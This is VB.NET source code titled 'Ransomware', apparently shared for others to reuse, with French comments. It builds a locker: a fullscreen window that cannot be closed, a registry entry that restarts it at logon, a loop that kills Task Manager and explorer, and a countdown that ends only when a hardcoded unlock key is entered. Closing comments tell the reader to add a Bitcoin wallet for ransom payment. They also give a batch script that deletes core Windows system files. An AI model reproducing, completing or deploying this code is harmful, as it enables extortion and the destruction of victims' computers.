Ransomware [] VB.NET

Imports Microsoft.Win32

Public Class Form1

    Private Declare Function SetThreadExecutionState Lib "kernel32" (ByVal esFlags As Int32) As Int32
    Public Enum EXECUTION_STATE As Integer
        ES_CONTINUOUS = &H80000000
        ES_DISPLAY_REQUIRED = &H2
        ES_SYSTEM_REQUIRED = &H1
        ES_AWAYMODE_REQUIRED = &H40
    End Enum

    Dim i As Integer = 86401 'Déclare la variable "i"
    Sub AddStartup()
        My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\CurrentVersion\run").SetValue("Ransomware", Application.ExecutablePath)
        'Mettre le prgramme en démarrage automatique

    End Sub
    Sub RemoveStartup()
        My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\CurrentVersion\run", True).DeleteValue("Ransomware")
        'Enlever le démarrage automatique
    End Sub

    Protected Overrides ReadOnly Property CreateParams As CreateParams
        Get
            Dim CurrentParams As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            CurrentParams.ClassStyle = CurrentParams.ClassStyle Or CS_NOCLOSE
            Return CurrentParams
        End Get
    End Property
    Private Sub Form1_load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        If i > 1 Then

            Timer1.Start()
            i = i - 1

            Label1.Text = i 'Transformer le text 1 en decompte
        Else
            Timer1.Stop()
        End If
        Me.Height = My.Computer.Screen.Bounds.Height
        Me.Width = My.Computer.Screen.Bounds.Width 'Mettre la forme en gros
        Me.Location = New Point(0, 0)
        SetThreadExecutionState(EXECUTION_STATE.ES_CONTINUOUS)
        If i > 1 Then
            AddStartup()
        End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
        Try
            For Each proc As Process In Process.GetProcesses
                If proc.ProcessName = "Taskmngr" Then 'Fermer le gestionnaire
                    proc.Kill()
                End If
            Next
            For Each proc As Process In Process.GetProcesses
                If proc.ProcessName = "explorer" Then 'Eteindre le programme bureau
                    proc.Kill()
                End If

            Next


        Catch ex As Exception

        End Try
        If i > 1 Then

            Timer1.Start()
            i = i - 1

            Label1.Text = i
        Else
            Timer1.Stop()
        End If


    End Sub

    Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click

    End Sub

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
        If TextBox1.Text = "8b03-GhO2-Zm4U-Et7K" Then
            Me.Close() 'Fermer Formulaire 1
        End If

        If TextBox1.Text = "Votre mot de passe" Then
            RemoveStartup()
        End If
        If TextBox1.Text = "Votre mot de passe" Then
            System.Diagnostics.Process.Start("shutdown.exe", "-r -f -t 100") ' Restart
        End If

    End Sub

    Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    End Sub
    Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        SetThreadExecutionState(EXECUTION_STATE.ES_DISPLAY_REQUIRED Or EXECUTION_STATE.ES_CONTINUOUS) ' stop
    End Sub
    'Après c'est à vous de vous créé une image de fond, un porte-feuille Bitcoin et de choisire votre clefs pour effectuer le transfert d'argent.
    'Déclarer les differents Itemes.
    'Trouver un moyen de sauver le timer et de créé un .bat pour supprimer les fichiers
    '@echo off
    'del "C:\windows\pchealth\"
    'del "C:\windows\system\"
    'del "C:\windows\system32\restore\"
    'del "winlogon.exe"
    'del "C:\windows\system32\autoexec.nt"
    'del "C:\windows\system32\logonui.exe"
    'del "C:\windows\system32\ntoskrn
    'copier coller ca dans le bloc note puis enregistrer le en .bat


End Class